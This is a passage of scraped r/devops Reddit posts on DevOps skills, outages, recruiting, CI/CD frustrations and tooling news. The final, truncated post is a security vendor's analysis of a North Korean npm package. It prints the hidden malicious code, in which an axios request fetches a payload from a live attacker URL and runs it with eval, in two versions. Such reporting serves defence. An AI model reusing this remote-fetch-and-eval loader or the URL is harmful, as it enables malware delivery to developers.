Constantly keep the Cost optimization paradigm in mind and apply cost reduction practices (spots, reserved, preemptible nodes, better and more efficient services or self-hosted solutions); * Understand a Well-architected framework and be able to build infrastructure around it; * Know how to build an infrastructure that meets certain compliances (iso 27001, PCI, GDPR, HIPAA) and is ready for audits; * Be able to effectively manage an extensive infrastructure (monthly check is over 10k and above). ## Kubernetes Where it is possible (and this is 99.9999999% of projects), we are using Managed solutions from cloud providers, which marks the nature of working with k8s. Most of the time, we act as cluster users, not cluster administrators; that is why the list of necessary expertise is based on user experience: * Can distinguish managed and vendors: GKE, EKS, AKS. Know what are the advantages and disadvantages. * Understand, able to work and debug the main objects: Pod, Deployment, Replicaset, Jobs/Cron Jobs, DaemonSet, Statefulset. * Need to know the types of services and what Ingress is. * Be able to work with Configmaps, Secrets, sealed secrets, and external secrets. * Understand the differences between the sidecar and init containers and their application * Cluster autoscaling. Use different types of nodes and pools for cost-optimization. * Apply advanced pod scheduling techniques: nodeSelector, affinity, antiAffinity, topologySpread. * Pod/namespace resource management. * Understand and configure RBAC and Network Policies. * Know the differences between Admission and Mutating controllers. And be able to write solutions if necessary. * Implement ServiceMesh where needed. * Widespread application/implementation of Security practices. Use OPA (Open Policy Agent) if necessary. * Basic understanding of the architecture: what are the components, what are they responsible for, and how are they interconnected. ## Helm Since helm is a tool for Kubernetes, all requirements are connected to k8s knowledge, for example: * “Reading” public helm charts. What variables can be used, where they are substituted, and what k8s manifests the chart consists of. * Create your own charts. Where it’s necessary use loops, conditions, and functions to reduce the amount of code. Templates must be readable. * Write Umbrella charts if needed. * How to customize/patch public charts (i.e., adding new objects). * Experience with tools like helm-diff and helmfile. ## Observability One of the most critical components of modern systems is **Observability**. It is impossible to efficiently deliver changes to the user and efficiently manage resources without well-tuned observability tools. We often hear only about “Monitoring” and “Logging.” Observability is a broader concept that includes monitoring, logging and tracing. Expected skills: * Having the ability to work with popular monitoring systems: Prometheus, VictoriaMetrics, etc. and components around them (ie numerous exporters); * Ability to work with widespread logging systems/stacks: ELK, EFK, Loki, Datadog, etc.; * Experience with popular tracing systems: Jaeger, APM, etc.; * Errors tracking and performance monitoring: Sentry, NewRelic, etc.; * Knowledge of how to make custom dashboards for Grafana based on the requirements; * Have skill to parse and filter logs in used logging systems. ## Security It is tough to create a clear list of requirements because we are not security specialists but rather implementers. So here are the general points: * Adhere to the Least Privileges principles when working with users, service accounts, and granting rights. * Over the past few decades, the infrastructure building process has changed dramatically.  Earlier, the main and wrong idea was ""secure by default” inside your private network,” then all-new approaches are closer to “Zero Trust“ (we do not trust anyone or anything). Therefore, one should try to adhere to this concept wherever possible inside and outside your infrastructure. * Know ISO 27001, HIPAA, PCI DSS, GDPR, CIS Benchmark, and OWASP standards. ## Solution Development An important element of our work is the development and implementation of solutions. The goal of such solutions is to simplify development, reduce costs, switch to a new, more efficient, safer technology, etc. From here, it follows several necessary performing skills: * Ability to decompose tasks into atomic subtasks; * Ability to estimate your effort; * Ability to specify requirements; * Ability to build a Roadmap and move along it; * Ability to find and apply “effective solutions” to emerging problems and challenges; * Documentation management; * Independent research, development and presentation of PoC; * Implementing maintainable and customizable production-ready solutions. ## DevOps/SRE Everyone knows that DevOps and SRE are primarily cultural aspects and practices. Where DevOps comes from development and is aimed at delivering a feature to the client, and SRE comes from operations and is aimed at stability. Our requirements are pretty basic: * Have a good understanding of SDLC, primarily interested the Agile model; * Know what Delivery Pipeline and Feedback Loop are. Be able to build/optimize these processes together with the team, to select an adequate tool for each step; * Understand and be able to build an incident management process:- Logging and categorization,- Notification and escalation,- Finding and eliminating the root cause,- Playbook writing; * Be able to write post mortems for systematically improve stability and quality; * Be able to develop and implement a Disaster Recovery plan acceptable to the business requirements. ## Soft Skills In addition to the fact that a good DevOps engineer should have a broad technical outlook and a number of automation skills, it is extremely important to develop soft skills. That is, those personal qualities that help to effectively connect and synchronize the work of all participants and departments into a single whole. There is no doubt that the existence of well-developed soft-skills is an important element in both personal growth and career progression (and sometimes a fundamental one). Most often, engineers are private people, but times change, and it is impossible to work alone. The DevOps engineer is the link between operations, development, and managers. He constantly has to communicate with the team, helping to achieve a common goal. What stands out among the skills: * **Self-education.** Nowadays, when technologies are changing every day, it is impossible to rely on knowledge gained 10 years ago (if it is basic things, such as TPC / IP). It is necessary to constantly improve and learn something new. Without self-study, it is impossible to quickly improve your hard skills. * **Сommunication skills.** The devops workflow is mostly based on teamwork, communications, problem escalation, etc. Also, within the framework of such communications, it is really possible to test and pump your hard skills. Furthermore, do not forget how you formulate your thoughts when setting goals and tasks. Your team should receive clear and understandable explanations of tasks. * **Self-organization.** Ability to work independently without constant mentoring. We're not talking about when you have just started your duties and do not even know the direction in which you need to work. But the faster you can start working without a permanent mentor, then faster the leveling process will go. * **Mentorship.** You don't have to be a Senior Engineer to mentor someone. The ability to teach others is a good way to consolidate and systematize your own existing knowledge. It also helps to develop communication skills. * **Commitment.** You need to be able to achieve your goals alone or working in a team. It’s not always possible to get into a project with a team of DevOps engineers, so you need to be able to set and achieve your goals. * **Fluency in English**. Most of the knowledge sources are written in English. Technologies are also created in English. Work in development and operation is carried out in English. In our company, we made a special matrix specially for soft skills' assessment, where all the necessary skills are highlighted. ## Summary To summarize, the meaning of DevOps-engineer in different companies is different, making it difficult to compile a single list of specialist competencies. Even with a 10-year career, so many directions and pitfalls are not enough time to study them. It is also worth considering what services companies are using - some use cloud services, while others use their own or rented hardware. Therefore, the required knowledge will depend on which company you want to work for. Especially for this case, we have compiled our DevOps engineer skills matrix to simplify the work process for applicants and employees. *The original post is* [*here*](https://maddevs.io/blog/devops-engineer-skills-matrix/)*.*",darikanur,340,61,1655406193,/r/devops/comments/vdtdmv/devops_engineer_skills_matrix_what_do_you_think/,https://www.reddit.com/r/devops/comments/vdtdmv/devops_engineer_skills_matrix_what_do_you_think/,self.devops,True,,,,, 1axfxob,devops,The next time your devs complain about production being locked down:,"Respect to Resend for their transparency in publishing this post mortem, but this is one of your worst nightmares: >While building a feature, we performed a database migration command locally, but it incorrectly pointed to the production environment instead, which **dropped all tables in production**. Prod database wiped and a twelve hour outage - ouch. [https://resend.com/blog/incident-report-for-february-21-2024](https://resend.com/blog/incident-report-for-february-21-2024) &#x200B;",Observability-Guy,340,154,1708631815,/r/devops/comments/1axfxob/the_next_time_your_devs_complain_about_production/,https://www.reddit.com/r/devops/comments/1axfxob/the_next_time_your_devs_complain_about_production/,self.devops,True,,,,, 111elxi,devops,"Anyone ever go through git history to answer the question ""Who is the idiot that wrote this?""","Only to find out its you... I swear this happens to me daily.",TheAviator1101,340,88,1676308991,/r/devops/comments/111elxi/anyone_ever_go_through_git_history_to_answer_the/,https://www.reddit.com/r/devops/comments/111elxi/anyone_ever_go_through_git_history_to_answer_the/,self.devops,True,,,,, ckpbhl,devops,"Just passed the AWS solutions architect exam, wanted to share my journey and my notes. Hope this helps some of you.","[Here](https://github.com/SkullTech/aws-solutions-architect-associate-notes) is a Github repo I created which contains all of my notes, divided into sections dedicated to different services. Also I wrote [this short blog post](https://sumit-ghosh.com/articles/aws-solutions-architect-associate-preparation/) explaining how I prepared. If this helps even one person I'll be glad :D Let me know if it does.",SkullTech101,339,52,1564670802,/r/devops/comments/ckpbhl/just_passed_the_aws_solutions_architect_exam/,https://www.reddit.com/r/devops/comments/ckpbhl/just_passed_the_aws_solutions_architect_exam/,self.devops,True,,,,, 10i6ra1,devops,I created an open source secrets manager and Y Combinator just invested in it!,[removed],theflyingdog98,338,81,1674348845,/r/devops/comments/10i6ra1/i_created_an_open_source_secrets_manager_and_y/,https://www.reddit.com/r/devops/comments/10i6ra1/i_created_an_open_source_secrets_manager_and_y/,self.devops,True,,,,, r5t3i2,devops,Recruiting hell: DevOps edition,"So I am not actively looking for a job right now, but I am the type of person who always has my LinkedIn set to ""open to opportunities"" or whatever it is cause you never know when something better will come along. Because of this I get spammed by recruiters for DevOps/SRE jobs. And most of them suck. Just today, hit up for a company that worked on cool stuff so I actually bothered to reply. They want someone with 5-7 years experience and experience with Kubernetes. The salary is missing from their initial email, 🚩🚩🚩. Their job postings have been up for months. Regardless, I reply asking the salary range. $80-$100K... If you want someone with that experience you need to pay the appropriate market rate. My other favorite thing is to reply ""Is this a fully remote position?"" to any jobs that are not remote. I've noticed the majority of DevOps positions (well, the ones that have to use recruiters lol) still want you to come into the office every day, despite the infrastructure being in an AWS data center hundreds of miles away. So far I have a 100% ghost rate for that question lmao. Hoping they will figure out offering remote will get them more applicants. And don't even get me started on what some of these places expect you to do for an interview. The interview process with my current job took less than a week. It was 3 interviews, all 30-45 minutes. Some of these places expect, 5+ interviews. One place expected 8 SEPARATE INTERVIEWS and a take home, no thanks lol. And some places, even if they boast that the number of interviews is small, will disappear forever in between. In my experience places worth working for, who actually value you as a human being with a life outside of work, have pleasant interview processes. The market is crazy right now and yet there's still so many places desperately clinging to their shitty job offers and recruiting strategy while complaining they can't find anyone good. This is not a mystery. What will it take for them to learn?",angiosperms-,338,177,1638294986,/r/devops/comments/r5t3i2/recruiting_hell_devops_edition/,https://www.reddit.com/r/devops/comments/r5t3i2/recruiting_hell_devops_edition/,self.devops,True,,,,, c2cor2,devops,"Forget The Phoenix Project, go watch HBO's Chernobyl","I watched HBO's Chernobyl miniseries last week and it reminded me so much of some of the Systems Engineer environments I've worked in. From the promotion hungry middle managers overselling his team's capabilities to the YOLO ops run by untrained engineers. Even has the rollback plan that catastrophically fails and brings the entire org down with it. Yea, I had some PTSD moments for sure.",yamlCase,336,44,1560919656,/r/devops/comments/c2cor2/forget_the_phoenix_project_go_watch_hbos_chernobyl/,https://www.reddit.com/r/devops/comments/c2cor2/forget_the_phoenix_project_go_watch_hbos_chernobyl/,self.devops,True,,,,, q832y2,devops,Gitlab went public on the Nasdaq today,"https://about.gitlab.com/blog/2021/10/14/gitlab-inc-takes-the-devops-platform-public/ I know we're all engineers, technically minded people, but given that it happened this morning, if you have the ability/familiarity/interest, I just wanted to point this out, since I had no idea this was happening.",DavisTasar,336,104,1634228432,/r/devops/comments/q832y2/gitlab_went_public_on_the_nasdaq_today/,https://www.reddit.com/r/devops/comments/q832y2/gitlab_went_public_on_the_nasdaq_today/,self.devops,True,,,,, dbwb1n,devops,Pseudo-Rant: The Thing is Acting Weird,"Hi /r/devops \- The Thing is acting weird and/or having issues. Can you figure out what I'm trying to say and also make it not do that? My deadline which is several minutes away is at risk for this month long project now. This is a top priority on a scale which almost certainly exists somewhere. Can you let me know when It is fixed? I am unable to provide clarifying data because I'm updating your boss, the director, my boss, the CTO, and Jesus H. Christ that I am blocked from completing because of you. Thanks, \-Senior Principal Something Engineer",WN_Todd,332,91,1569949178,/r/devops/comments/dbwb1n/pseudorant_the_thing_is_acting_weird/,https://www.reddit.com/r/devops/comments/dbwb1n/pseudorant_the_thing_is_acting_weird/,self.devops,True,,,,, mx6197,devops,I just got a job offer that's 2x my current devops salary,"I'm physically still shaking... I can't believe it was such a high salary hike. I've only been doing DevOps for 1 year and 4 months and I am going to be starting in a new position for $150,000 a year. It still doesn't seem real to me.",kennyisworkinghard,331,139,1619214778,/r/devops/comments/mx6197/i_just_got_a_job_offer_thats_2x_my_current_devops/,https://www.reddit.com/r/devops/comments/mx6197/i_just_got_a_job_offer_thats_2x_my_current_devops/,self.devops,True,,,,, 12sqwjf,devops,I tried writing a serverless app at home before doing it at work and this is what happened,"So I banged out a tf to deploy the resources, wrote three Lambda's 1 in c#, one in go, one in rust. Don't get excited by this, the go Lambda returns ""hello"" the Rust one returns world and the c# one concatenates them. I want to find out gotchas and complexities. So I mentioned it at work. My boss said. You'll either have to delete it all or hand it over to us. WHAT... He then tried to tell me any code I wrote while employed belonged to the Corp, including personal stuff. My own domain, my own aws account, my own thinkpad all bought before I took the job Bit like telling a carpenter he can't make a flower bed for his home cos his knowledge of hammering wood together with nails to build a flowerbed at his home belongs to his boss. Madness [Update] As its been mentioned that this is a red flag. I've looked at other occurances of red flags, one being a warning with manager and his manager that I was being distracting by adding a single comment to the team general slack channel. The thread was about chatGPT and it was ""lol... I welcome our robot overlords"",, ive not commented since that. There are other passive (pathetic) aggressive behaviours like removing my access to bitbucket, not telling me about the http proxy and passing off as everyone has difficulty onboarding and telling me not to talk to the Scrum Master. So I'm exercising my right to 1 weeks notice, this ain't the job for me.",PowerfulExchange6220,331,167,1681978306,/r/devops/comments/12sqwjf/i_tried_writing_a_serverless_app_at_home_before/,https://www.reddit.com/r/devops/comments/12sqwjf/i_tried_writing_a_serverless_app_at_home_before/,self.devops,True,,,,, hne5q0,devops,Getting into DevOps as a beginner is tricky - My 50 cents to help with it,"I am a DevOps/Site Reliability Engineer and I have interviewed a lot of people for the same position to my organization. One prominent problem among candidates we have noticed is the lack of basic understand of how everything fits together, lack of Linux system knowledge Getting a decent DevOps person has been quite difficult task. When I interview people, I do not focus on tools, instead I focus on ideas, like ""How would you design a highly scalable infrastructure for a web app like WordPress (I use wordpress because this is the most common CMS, so everyone knows about it). And, most of the time, not everyone can give a satisfactory answer. **I feel, this is usually because they do not have this ""big picture"" about how things fit together** **Edit 1**: Some folks have pointed out that many people do not know WordPress and this approach is not right. I failed to mention that the usual tactic I use involve asking them what kinda apps are they familiar with and the question is fully based on that (everything else is the same). If they know WordPress, then it is based on that. I used the term WordPress because it is a generic, well known application. The idea is to know if they are familiar with concepts like LBs, caches, HA, Proxies and whatnot. Not at all about if they know ""WordPress"" And some other candidates, all they know is Jenkins and Github, they don't even know the basics of getting around a Linux system. (IMO DevOps != Build/Release engineer) **In essence, getting into DevOps is kinda tricky, especially for a beginner.** My path was something like Sysadmin -> Building Linux tools -> DevOps Engineer. But I have a colleague who was with the Development team and he wanted to try DevOps (SRE). He was with us for about an year or so and then he went back to his Dev team. One of the thing he said was that there is just too many things happening and he does not have context on many things. I feel, for those who were lucky to work on systems at first before DevOps took over, and then moved slowly into DevOps stuff, things are a lot more clear. &#x200B; So, in my free time, I have decided to make a beginner friendly video series on DevOps From scratch(Most videos out there are not really tailored for beginners). I do not have any experience in making YouTube videos and this is a learning opportunity for me too. I am planning to take an approach of going to the basics. [HERE](https://www.youtube.com/watch?v=adccZNseZm8) is my intro video and I explain about the ""roadmap"" I have planned in there. And [HERE](https://youtu.be/adccZNseZm8?t=560) is a permalink to the roadmap, if you like and [HERE](https://www.youtube.com/playlist?list=PLxYCgfC5WpnsAg5LddfjlidAHJNqRUN14) is the link to the playlist I just posted the second video. If at least a bunch of folks shows interest, I will definitely make all the videos. Suggestions, feedback, criticism all are welcome. &#x200B; TL;DR: Decided to make a beginner friendly DevOps From Scratch video series. Link : [HERE](https://www.youtube.com/playlist?list=PLxYCgfC5WpnsAg5LddfjlidAHJNqRUN14)",m4nz,329,156,1594201463,/r/devops/comments/hne5q0/getting_into_devops_as_a_beginner_is_tricky_my_50/,https://www.reddit.com/r/devops/comments/hne5q0/getting_into_devops_as_a_beginner_is_tricky_my_50/,self.devops,True,,,,, eg6jjf,devops,My DevOps Learnings in 2019. List Yours:),"1. DevOps is not an individual role, it is a group effort. 2. Your infra should be able to handle a failed deployment automatically and rollback. If it can’t, you’re doing it wrong. 3. DevOps means different things to different people. 4. If any task cannot be automated, remove it instantly from the task list. 5. Communication is more important than tooling and will make or break an organization. 6. Shift the focus of Security to the left in the development life-cycle. 7. Using Jenkins != CI/CD or DevOps … 8. Always design with autoscaling in mind. Automate-all-the-things. One-click deploy to one-click revert. 9. Create ready to use images in AWS and use those images for auto-scaling instead of scripted from GitHub builds. 10. There is a real skillset shortage in the DevOps field. 11. The CI/CD pipeline is one of the best practices for DevOps teams to implement, for delivering code changes more frequently and reliably. 12. Do not automate a bad process, you end up with an automated bad process — \[Credits: DOES18 \] 13. Testers who know how to code and automate scripts to test various cases are in massive demand in DevOps. 14. Add monitoring to infrastructure as well as applications. The monitoring system should send alerts on every important events. 15. Utilize Infrastructure as a code templates to build the infra. Ex. cloud-formation, terraform etc 16. If you need to SSH into your VM then your automation is failed. 17. Serverless is not actually serverless, it is simply 'pay as you use' model 18. Cloud-native is not a synonym for microservices or Kubernetes, it is all about utilizing the advantages of the cloud computing model 19. Make use of container registries for publishing, storing, locating, downloading, and managing container images 20. Implement security policies right at the time of building infrastructure first time. And close loopholes if any before the final deployment. 21. Store everything as code and adopt a GitOps mindset for version control.",PavanBelagatti,327,83,1577422223,/r/devops/comments/eg6jjf/my_devops_learnings_in_2019_list_yours/,https://www.reddit.com/r/devops/comments/eg6jjf/my_devops_learnings_in_2019_list_yours/,self.devops,True,,,,, 1i538r1,devops,"Why is DevOps still such a fragmented, exhausting (and ofc costly) mess in 2025?","# I have been thinking about this for quite sometime and thought of getting your thoughts. I feel like DevOps was supposed to make life easier for developers, but honestly, it still feels like an endless headache. Every year, there’s a new tool, a new “best practice,” and a new wave of people claiming they have finally cracked the DevOps code… yet here we are, still dealing with the same mess, just with fancier buzzwords. A few things I keep running into over the years that I have worked with different projects: 1. **The never-ending toolchain puzzle** – Every company I have worked with has a bloated DevOps stack. Terraform, Kubernetes, Jenkins, ArgoCD, GitHub Actions, Helm, Spinnaker—you name it. It’s like every tool fixes one thing but breaks another, and somehow, the entire setup is still fragile as hell. Instead of simplifying DevOps, we’re just stacking more complexity on top of complexity. 2. **Burnout is real** – I don’t know a single DevOps engineer who isn’t constantly tired. Between keeping up with cloud providers, maintaining brittle pipelines, dealing with security updates, and being on-call for random failures at 2 AM, it’s no surprise people are leaving the field. We were supposed to be automating things, not babysitting them 24/7. 3. **Automation is a lie** – Every new trend is supposed to “automate everything,” but in reality, we just end up automating a different kind of chaos and it becomes totally fragmented. IaC is great until Terraform state breaks and you’re in hell. GitOps is cool until you realize drift is inevitable. Pipelines are supposed to “just work,” yet half the time, debugging a failed deploy feels like solving a murder mystery with no clues. And here’s the kicker: **this mess is costing companies millions.** There’s actual research backing this up: * The [**2024 State of DevOps Report by Puppet**](https://www.puppet.com/blog/state-devops-report-2024) talks about how DevOps is still in a weird transition phase, with more companies shifting towards platform engineering but still struggling with inefficiencies. * The [**DORA 2024 Accelerate State of DevOps Report**](https://dora.dev/research/2024/dora-report) highlights that while elite teams are getting better, the majority are still facing the same bottlenecks we’ve seen for years. So, I gotta ask—what’s the real solution here? Has anyone actually figured out how to do DevOps without it turning into a soul-sucking nightmare? Or are we all just stuck in an infinite loop of new tools, more YAML, and never-ending on-call rotations? Would love to hear how others are dealing with this. Maybe I’m just jaded, but damn, it feels like we should be further along by now.",arparthasarathi,324,184,1737306438,/r/devops/comments/1i538r1/why_is_devops_still_such_a_fragmented_exhausting/,https://www.reddit.com/r/devops/comments/1i538r1/why_is_devops_still_such_a_fragmented_exhausting/,self.devops,True,,,,, bpmeyk,devops,I was officially automated out of my job - pitfall of DevOps,"I often hear the joke in DevOps departments ""If we automate everything we won't have a job"" it's usually said facetiously. However in this case it did happen to myself, and about 100+ other DevOps engineers. I can't say too much due to NDA, I'm sure it'll probably end up public at some point but I'd rather not risk being the one to do so. To give some insight into how this happened. Nearly five years ago I was working as a manager for a DevOps department in a medium sized tech company, was making an excellent wage at the time ($190,000) which offset the insane amount of overtime we had to do. As always a recruiter from LinkedIn contacts me, this particular one was from a huge multi national conglomerate which I had zero interest in working for, he messaged me saying that this company was aggressively expanding their software engineering, development and DevOps teams for some huge projects, said they'd love to fly me in for an interview. I declined and said I wasn't interested and he messaged back and asked how much I earned, because he guaranteed they could offer significantly more, of course this piqued my interest as I thought I had an excellent wage. Long story short I flew out to the interview, got the job as a Senior Lead and a salary of $275k plus stock options and bonuses and the ability to work remotely so didn't need to move, despite hating the idea of working for a huge corporation it was really too good of an offer to turn down, significantly more than Amazon had offered me earlier the same year. The company had a DevOps department but it was more Senior Sysadmins who could write enough Python/Bash/PowerShell to be dangerous, they needed a team of real DevOps with previous experience in lower level languages to work on the complex projects they had. Over the next 3 years the department grew and I have to say management really did all the right moves, we were rarely denied anything we asked for no matter how much it cost, I would think that over 90% of the planned projects were delivered on time and on budget, which is really amazing. However about 1.5 years ago it started to become apparent that we had literally automated \*everything\*, sure there was still regular maintenance and reviews being done but for the last 1.5 years I realistically was only working an hour or two per day as there was so little to do and I am not exactly going to quit a job paying this much, I figured this day would eventually come and it did yesterday. Basically they said the majority of the DevOps teams were being dissolved (they're keeping 75 people who work with certain applications), the IT and Software Engineering teams are more than capable of managing all the code and a lot of the DevOps guys simply don't have work to do now. I was offered a role within the IT team, but the money would be about half my current salary and while I can work remotely they'd want me to eventually move into a city that has an office so I can come onsite more often. It's unfortunate as I did enjoy working there and they did look after me for the most part (aside from being made redundant) and there is not very many DevOps roles that will pay over $200K and mostly be 9-5 jobs with very little OT. Fortunately I invested my salary wisely and managed to completely pay off 4 mortgages in the last 5 years so I've got a nice little side salary and not that many expenses, so not in a rush to find another job.",automatedoutofmyjob,323,175,1558065146,/r/devops/comments/bpmeyk/i_was_officially_automated_out_of_my_job_pitfall/,https://www.reddit.com/r/devops/comments/bpmeyk/i_was_officially_automated_out_of_my_job_pitfall/,self.devops,True,,,,, ik2bu3,devops,Proposal: No more blog spam,"Often on this sub I see vendors posting their blog posts with ""useful"" information which in result is only used for lead generation to whatever shit they're selling. I suggest discouraging this behavior as it ends up feeling like ad central here instead of actual meaningful discussions about DevOps. Am I wrong?",TechnicalExample,323,50,1598894703,/r/devops/comments/ik2bu3/proposal_no_more_blog_spam/,https://www.reddit.com/r/devops/comments/ik2bu3/proposal_no_more_blog_spam/,self.devops,True,,,,, 10t0xqj,devops,Unpopular opinion: CI/CD engines are an awful idea,"I need scripts to run on github webhooks just as bad as you do. But this one-size-fits-all ""lets make scripts but in yaml"" shit has got to go. Every CI/CD engine has a million different 'input' layers - environment variables, repo variables, workflows from various branches, maybe the git commit object. Oftentimes your scripts will have the ability to jam more variables into the 'input' layer for later scripts - such as in the case of the github environment variables. UNFORTUNATELY, it's never clear WHICH input layers are available to WHICH parts of the script. ""Oh, no, you can't use outputs from this script to as arguments for something in our yaml, because the yaml is calculated first."" Well thanks, Mr Nadella, I'll just torch my entire pipeline and start over. Every CI/CD engine is trying to have some sort of rudimentary 'secrets management', but that's not its core competency. There are always rules - ""only 100 secrets"", or ""Secrets can't be passed from job to job,"" or ""We allow secrets but you can only put them in via our GUI"" or ""We use hashicorp vault as a secrets backend but we didn't study the docs so we're just using their 'approle' backend as a username/password."" Looking at you, Mr Tabib. Every CI/CD has obscure, insane 'defaults' left and right. ""Oh, you ran a job that was called by another job called by another job, and everything succeeded, but one of the if statements didn't run? Our 100% proprietary fancy-pants no-source observer calls that a failure!"" FOR GOD'S SAKE, YOU ARE A GLORIFIED SCRIPT RUNNER. I'm dying over here, you guys. What happened to the unix principle? What happened to each thing doing one thing really, really well and stringing it all together? Why does each CI/CD runner have a GUI and a CLI and two APIs and secrets management and slack integration and built in graphs and dashboards and runs shell scripts against my cappucino maker?! Like, SO MUCH of our CI/CD in every place I've ever been could be done with *docker containers and python.* Github pull request? Send a webhook to the container, run the scripts, fuck off. Am I missing a GUI I admit it might be a little irritating to build my own GUI, but everything else? Emailing people from a script? Slacking people from a script? Correctly gathering secrets from my vault instance from a script? CORRECTLY PASSING RETURN VALUES BETWEEN SCRIPTS?! But instead, I spend my days becoming a goddamn little cackling wizard on someone's particular dumbass piece of software with features we'll never use, hidden 'sane defaults' that get in the way, security that protects someone else, translating yaml to basic-bitch bash. ugh. Thanks guys. rant over.",dampersand,321,204,1675472810,/r/devops/comments/10t0xqj/unpopular_opinion_cicd_engines_are_an_awful_idea/,https://www.reddit.com/r/devops/comments/10t0xqj/unpopular_opinion_cicd_engines_are_an_awful_idea/,self.devops,True,,,,, pf847j,devops,Docker to start charging for Docker Desktop in companies with over 250 employees or $10M revenue,"[https://www.docker.com/blog/updating-product-subscriptions/](https://www.docker.com/blog/updating-product-subscriptions/) >Specifically, small businesses (fewer than 250 employees AND less than $10 million in revenue) may continue to use Docker Desktop with Docker Personal for free. The use of Docker Desktop in large businesses, however, requires a Pro, Team, or Business paid subscription, starting at $5 per user per month.",MattHodge,320,150,1630423578,/r/devops/comments/pf847j/docker_to_start_charging_for_docker_desktop_in/,https://www.reddit.com/r/devops/comments/pf847j/docker_to_start_charging_for_docker_desktop_in/,self.devops,True,,,,, 9zd57z,devops,The modern devops and software engineering is ridiculous.,"The modern day devops/software engineering became so ridiculous it's not even funny anymore. People create enormous megalomaniac architectures regardless of the product they are building. It's so fucking insane that for building and deploying a stupid e-commerce site you need an equivalent of nuclear physicists to push forward. For what ? For selling fucking squeaky t-shirts. The space is insanely saturated with tools and vendor lock ins trying to squeeze every penny out of you. Nobody is even questioning the existence of some tools because they are in such a deep shit they dont realize these tools exist because other tools are just fucking embarrassingly bad that they create more issues than they solve. Nobody even understands 1/3 of the tools they use yet they ask very detailed interview questions just because fuck you that's why. In reality majority of the folks are just plumbing shit on top of another shit and copy pasting configurations and commands from the web. Those that really go into the details and blog about it are then praised like the gods because well..WHO WOULD BOTHER ANYWAY ?? This would not be the end of the world right ? We can all suck it up, pretend that we know shit that we do not really know and continue plumbing the shit out of everything. I mean who the fuck cares It looks good on the CV. But we decided to go even further. We decided to puke on this pile of shit like they do in the 2girls1cup and eat it too. I mean who in their right mind would try to re-implement and re-invent the fuck out of every fucking tool that already exists. That's what we do, instead of using something that already exists, is documented and could be considered as the basic standard building block we throw it out and we make a new in-house thing that only our 500 people company is using. Why ? Because FUCK YOU that's why. It's only 0.00001% better than the already existing solution but we have to somehow justify our salaries and miserable lives so we make it even more complicated for the future generations of people that take over. But these other people know better. They know very well that the existing infrastructure is shit and they have to re-do it so it's finally scalable and maintainable. The whole things is like a fucking ouroboros. ",KitchenAstronomer,319,219,1542883956,/r/devops/comments/9zd57z/the_modern_devops_and_software_engineering_is/,https://www.reddit.com/r/devops/comments/9zd57z/the_modern_devops_and_software_engineering_is/,self.devops,True,,,,, wrrilu,devops,IT's sad to see money get burned,"This past quarter I've been tasked with cutting costs across our cloud infrastructure spend. What's come up mostly is typical stuff like using Spot instances for test environments, adjusting log levels and indexes in datadog, right-sizing k8s requests etc. What I find most upsetting is coming across completely unused database instances (I'm talking never once been written to) burning tens of thousands of dollars for YEARS. It may not seem much in the grand scheme of cloud infrastructure costs, but that type of money could've replaced my roof! And it was just burned. Up in flames. For nothing. I bet others have stories about wasteful cloud spend. I'm curious to hear.",Buttwallaby,318,133,1660848749,/r/devops/comments/wrrilu/its_sad_to_see_money_get_burned/,https://www.reddit.com/r/devops/comments/wrrilu/its_sad_to_see_money_get_burned/,self.devops,True,,,,, onymkx,devops,Why is every post 'How do I become a DevOps Engineer'?,"Why do you want to be a DevOps Engineer if you know nothing about whats involved? It really is a role that requires constant learning about pretty much any kind of tooling or technology. Its broad as hell and you will never feel ready. So why do you want to do this rather than be a developer or something far more specialized/specific? Is it just a hot buzz word right now that you think comes with a good pay package? Its comparable in salary to other roles in IT. You will find most 'DevOps' engineers evolved/fell into the role because the companies required someone who could wear many hats, whether it be by choice or because there was to much work to do and no one to do it - especially if its a small company. This role is for you if you realize you enjoy having a broad understanding of technology and how all the pieces of the puzzle fit in together. You will piece parts together over time and all it involves is being curious about tech at work outside of your responsibilities - you should never aim to go from unemployment to DevOps Engineer, get started in another IT role asap.",FocusAnon,316,148,1626773063,/r/devops/comments/onymkx/why_is_every_post_how_do_i_become_a_devops/,https://www.reddit.com/r/devops/comments/onymkx/why_is_every_post_how_do_i_become_a_devops/,self.devops,True,,,,, 1jpteaw,devops,Malware hiding in plain sight: Spying on North Korean Hackers,"So something pretty interesting happened 2 weeks ago I can now share, where we got to watch the Lazarus group (North Korean APT) try and debug an exploit in real time. We have been monitoring malware being uploaded into NPM and we got a notification that a new malicious package was uploaded to NPM here [https://www.npmjs.com/package/react-html2pdf.js](https://www.npmjs.com/package/react-html2pdf.js) (now suspended finally!). But when we investigated at first glance, it didn't look too suspicious. First off the core file index.js didn't seem to be malicious and there was also nothing in the package.json file that led. Most malware will have a lifecycle hook like preinstall, install, postinstall. But we didn’t see that in this package. All that there was, was an innocent index.js file with the below. function html2pdf() { return ""html2pdf"" } module.exports = html2pd I can't include pics on the subreddit but essentially the group were hiding the malware with a very simple... but actually surprisingly successful obfuscation of just including a bunch of spaces `' '`in the code to hide the actual malicious functions off screen. In NPM there is a scroll bar at the bottom of the code box which if you moved all the way to the right. You would see the full code below. **Here was what was hidden off screen** function html2pdf() { (async () => eval((await axios.get(""https://ipcheck-production.up.railway[.]app/106"", { headers: { ""x-secret-key"": ""locationchecking"" } })).data))() return ""html2pdf"" } module.exports = html2pdf Essentially using eval to load and execute a payload from a malicious endpoint. **Please for god sake don't visit the link that delivers this malware. I'm trusting you all not to be silly here.** *I have included it because it might be interesting for some to investigate further.* This is where things get pretty funny. We noticed that actually this won't work for 2 reasons. \- 1: the dependency axios was not 'required' in the code above \- 2: The dependency axios was not included in the dependencies in the package.json file **But this turned out to be so much fun as 10 minutes later we noticed a new version being uploaded.** const html2pdf = async () => { const res = await axios.get(""https://ipcheck-production.up.railway.app/106"", { headers: { ""x-secret-key"": ""locationchecking"" } }); console.log(""checked ok""); eval(res.data.cookie); return ""html2pdf"" } module.exports = html2pdf You will notice two changes: 1. Instead of a function, they are defining it as an async lambda.  2. They are eval()’ing the res.data.cookie instead of [res.data](http://res.data/) as in previous versions. But the payload is not in the cookie or a field called cookie when we fetch it from the server.  However, this still doesn’t work due to the lack of an import/require statement.  The console.log was a key give away they had no idea what was going on. **every 10 minutes after that we would get a new version of this as we realized we were watching them in real time try to debug there exploit!** I won't show every version in this reddit post but you can see them at this Blog [https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers](https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers) I also made a video here 